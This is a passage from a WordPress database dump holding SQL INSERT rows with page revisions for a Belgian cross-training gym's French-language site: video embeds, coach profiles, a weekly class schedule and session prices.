(373, 1, '2013-11-01 09:22:53', '2013-11-01 09:22:53', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulement des séances.&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;table border=\&quot;0\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h3&gt;Présentation du Cross Training Namur&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h3&gt;Ouverture du Cross Training Limelette&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'En image', '', 'inherit', 'open', 'open', '', '360-revision-v1', '', '', '2013-11-01 09:22:53', '2013-11-01 09:22:53', '', 360, 'http://www2.crosstrainingcenter.be/360-revision-v1/', 0, 'revision', '', 0),
(372, 1, '2013-11-01 09:22:14', '2013-11-01 09:22:14', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulement des séances.&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;table border=\&quot;0\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td align=\&quot;center\&quot;&gt;\r\n&lt;h3&gt;Présentation du Cross Training Namur&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;td align=\&quot;center\&quot;&gt;\r\n&lt;h3&gt;Ouverture du Cross Training Limelette&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'En image', '', 'inherit', 'open', 'open', '', '360-revision-v1', '', '', '2013-11-01 09:22:14', '2013-11-01 09:22:14', '', 360, 'http://www2.crosstrainingcenter.be/360-revision-v1/', 0, 'revision', '', 0),
(378, 1, '2013-11-01 09:29:06', '2013-11-01 09:29:06', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulements des séances&lt;/h1&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\nPrésentation du Cross Training Namur\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\nOuverture du Cross Training Limelette\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n', 'En image', '', 'inherit', 'open', 'open', '', '360-revision-v1', '', '', '2013-11-01 09:29:06', '2013-11-01 09:29:06', '', 360, 'http://www2.crosstrainingcenter.be/360-revision-v1/', 0, 'revision', '', 0),
(375, 1, '2013-11-01 09:26:03', '2013-11-01 09:26:03', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulement des séances.&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;table border=\&quot;0\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h3&gt;&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h3&gt;&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'En image', '', 'inherit', 'open', 'open', '', '360-revision-v1', '', '', '2013-11-01 09:26:03', '2013-11-01 09:26:03', '', 360, 'http://www2.crosstrainingcenter.be/360-revision-v1/', 0, 'revision', '', 0),
(377, 1, '2013-11-01 09:27:37', '2013-11-01 09:27:37', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulements des séances&lt;/h1&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulement des séances.&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;table border=\&quot;0\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h3&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h3&gt;&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'En image', '', 'inherit', 'open', 'open', '', '360-revision-v1', '', '', '2013-11-01 09:27:37', '2013-11-01 09:27:37', '', 360, 'http://www2.crosstrainingcenter.be/360-revision-v1/', 0, 'revision', '', 0);
INSERT INTO `www_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(376, 1, '2013-11-01 09:26:59', '2013-11-01 09:26:59', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulements des séances&lt;/h1&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulement des séances.&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;table border=\&quot;0\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h3&gt;&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h3&gt;&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;&lt;/h3&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'En image', '', 'inherit', 'open', 'open', '', '360-revision-v1', '', '', '2013-11-01 09:26:59', '2013-11-01 09:26:59', '', 360, 'http://www2.crosstrainingcenter.be/360-revision-v1/', 0, 'revision', '', 0),
(379, 1, '2013-11-01 09:30:06', '2013-11-01 09:30:06', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulements des séances&lt;/h1&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nPrésentation du Cross Training Namur\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\nOuverture du Cross Training Limelette\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n', 'En image', '', 'inherit', 'open', 'open', '', '360-revision-v1', '', '', '2013-11-01 09:30:06', '2013-11-01 09:30:06', '', 360, 'http://www2.crosstrainingcenter.be/360-revision-v1/', 0, 'revision', '', 0),
(380, 1, '2013-11-01 09:30:28', '2013-11-01 09:30:28', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulements des séances&lt;/h1&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nPrésentation du Cross Training Namur\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nOuverture du Cross Training Limelette\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/ginoAkCLNIM\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;', 'En image', '', 'inherit', 'open', 'open', '', '360-revision-v1', '', '', '2013-11-01 09:30:28', '2013-11-01 09:30:28', '', 360, 'http://www2.crosstrainingcenter.be/360-revision-v1/', 0, 'revision', '', 0),
(382, 1, '2013-11-03 08:54:06', '2013-11-03 08:54:06', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances 